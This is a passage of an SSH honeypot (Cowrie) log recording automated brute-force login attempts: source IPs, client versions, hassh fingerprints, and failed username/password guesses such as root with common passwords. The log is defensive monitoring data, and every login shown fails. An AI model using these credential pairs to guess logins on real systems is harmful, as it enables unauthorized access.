f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:27.629842Z","src_ip":"217.154.42.110","session":"df5b93bb32a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"presto","message":"login attempt [root/presto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:27.980469Z","src_ip":"217.154.42.110","session":"df5b93bb32a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:28.344490Z","src_ip":"43.134.104.184","session":"8db4011b752e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:29.064539Z","src_ip":"217.154.42.110","session":"df5b93bb32a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":49914,"dst_ip":"159.203.135.109","dst_port":22,"session":"c80f27edb30b","protocol":"ssh","message":"New connection: 69.49.246.176:49914 (159.203.135.109:22) [session: c80f27edb30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:33.676880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:33.685172Z","src_ip":"69.49.246.176","session":"c80f27edb30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:33.707440Z","src_ip":"69.49.246.176","session":"c80f27edb30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW2","message":"login attempt [root/1QAZXSW2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:33.853424Z","src_ip":"69.49.246.176","session":"c80f27edb30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:34.888190Z","src_ip":"69.49.246.176","session":"c80f27edb30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59468,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1f19448570d","protocol":"ssh","message":"New connection: 193.32.162.151:59468 (159.203.135.109:22) [session: a1f19448570d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:49.358165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:49.373698Z","src_ip":"193.32.162.151","session":"a1f19448570d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:49.466717Z","src_ip":"193.32.162.151","session":"a1f19448570d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sgf","password":"sgf","message":"login attempt [sgf/sgf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:49.973814Z","src_ip":"193.32.162.151","session":"a1f19448570d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:51.115895Z","src_ip":"193.32.162.151","session":"a1f19448570d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51054,"dst_ip":"10.17.0.5","dst_port":22,"session":"615c05c5908b","protocol":"ssh","message":"New connection: 147.45.199.80:51054 (10.17.0.5:22) [session: 615c05c5908b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:51.701916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:51.706493Z","src_ip":"147.45.199.80","session":"615c05c5908b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:51.803884Z","src_ip":"147.45.199.80","session":"615c05c5908b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maverick","message":"login attempt [root/maverick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:52.095151Z","src_ip":"147.45.199.80","session":"615c05c5908b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:53.195804Z","src_ip":"147.45.199.80","session":"615c05c5908b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":56256,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ceadaab8cf2","protocol":"ssh","message":"New connection: 43.134.112.237:56256 (159.203.135.109:22) [session: 8ceadaab8cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:54.491929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:54.496662Z","src_ip":"43.134.112.237","session":"8ceadaab8cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:54.729479Z","src_ip":"43.134.112.237","session":"8ceadaab8cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric123","message":"login attempt [root/eric123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:55.679705Z","src_ip":"43.134.112.237","session":"8ceadaab8cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:56.913503Z","src_ip":"43.134.112.237","session":"8ceadaab8cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":52804,"dst_ip":"10.17.0.5","dst_port":22,"session":"064aeadf9f35","protocol":"ssh","message":"New connection: 103.243.24.124:52804 (10.17.0.5:22) [session: 064aeadf9f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:58.295206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:58.300384Z","src_ip":"103.243.24.124","session":"064aeadf9f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:58.508126Z","src_ip":"103.243.24.124","session":"064aeadf9f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@3","message":"login attempt [root/password@3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:59.129782Z","src_ip":"103.243.24.124","session":"064aeadf9f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:00.340732Z","src_ip":"103.243.24.124","session":"064aeadf9f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42532,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e9ae601d33","protocol":"ssh","message":"New connection: 193.37.70.224:42532 (159.203.135.109:22) [session: 70e9ae601d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:02.531323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:02.536553Z","src_ip":"193.37.70.224","session":"70e9ae601d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:02.630224Z","src_ip":"193.37.70.224","session":"70e9ae601d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zz123456","message":"login attempt [root/zz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:02.901150Z","src_ip":"193.37.70.224","session":"70e9ae601d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":51046,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d1a249a0b19","protocol":"ssh","message":"New connection: 103.96.74.162:51046 (10.17.0.5:22) [session: 0d1a249a0b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:03.833157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:03.838381Z","src_ip":"103.96.74.162","session":"0d1a249a0b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:03.993912Z","src_ip":"193.37.70.224","session":"70e9ae601d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:04.081928Z","src_ip":"103.96.74.162","session":"0d1a249a0b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netwatch1212","message":"login attempt [root/netwatch1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:04.754869Z","src_ip":"103.96.74.162","session":"0d1a249a0b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:05.968960Z","src_ip":"103.96.74.162","session":"0d1a249a0b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41744,"dst_ip":"10.17.0.5","dst_port":22,"session":"01a0814095d5","protocol":"ssh","message":"New connection: 194.113.233.25:41744 (10.17.0.5:22) [session: 01a0814095d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:18.421479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:18.425483Z","src_ip":"194.113.233.25","session":"01a0814095d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:18.518860Z","src_ip":"194.113.233.25","session":"01a0814095d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcfyl","message":"login attempt [root/fktrcfyl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:18.801175Z","src_ip":"194.113.233.25","session":"01a0814095d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:19.897506Z","src_ip":"194.113.233.25","session":"01a0814095d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":44202,"dst_ip":"10.17.0.5","dst_port":22,"session":"0416be6873f6","protocol":"ssh","message":"New connection: 185.40.30.168:44202 (10.17.0.5:22) [session: 0416be6873f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:22.689085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:22.693469Z","src_ip":"185.40.30.168","session":"0416be6873f6","protocol":"ssh"}
